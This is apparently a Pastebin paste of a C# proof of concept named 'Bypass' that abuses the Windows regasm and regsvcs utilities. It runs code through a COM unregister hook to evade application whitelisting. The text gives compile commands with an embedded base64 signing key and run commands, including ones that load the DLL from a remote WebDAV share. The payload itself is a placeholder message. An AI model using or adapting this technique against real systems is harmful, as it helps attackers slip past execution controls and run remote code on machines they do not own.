Guest User

Untitled

a guest
Nov 19th, 2017
63
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.93 KB | None | 0 0
  1. /*
  2. ============== Compile ============
  3. Create Your Strong Name Key -> key.snk
  4.  
  5. $key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
  6. $Content = [System.Convert]::FromBase64String($key)
  7. Set-Content key.snk -Value $Content -Encoding Byte
  8.  
  9. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:regasm.dll /keyfile:key.snk regasm.cs
  10.  
  11.  
  12. ============== Use ============
  13. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u regasm.dll
  14. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvc.exe /u regasm.dll
  15.  
  16. or
  17.  
  18. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdav.server.com\regasm.dll
  19. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvc.exe /u \\webdav.server.com\regasm.dll
  20.  
  21. */
  22.  
  23. using System;
  24. using System.EnterpriseServices;
  25. using System.Runtime.InteropServices;
  26.  
  27. namespace regsvcser
  28. {
  29.  
  30. public class Bypass : ServicedComponent
  31. {
  32. public Bypass() { Console.WriteLine("I am a basic COM Object"); }
  33.  
  34. [ComUnregisterFunction] //This executes if registration fails
  35. public static void UnRegisterClass ( string key )
  36. {
  37. Console.WriteLine(" YOUR PAYLOAD EXECUTED :-) ");
  38. }
  39. }
  40.  
  41. }
Add Comment
Please, Sign In to add comment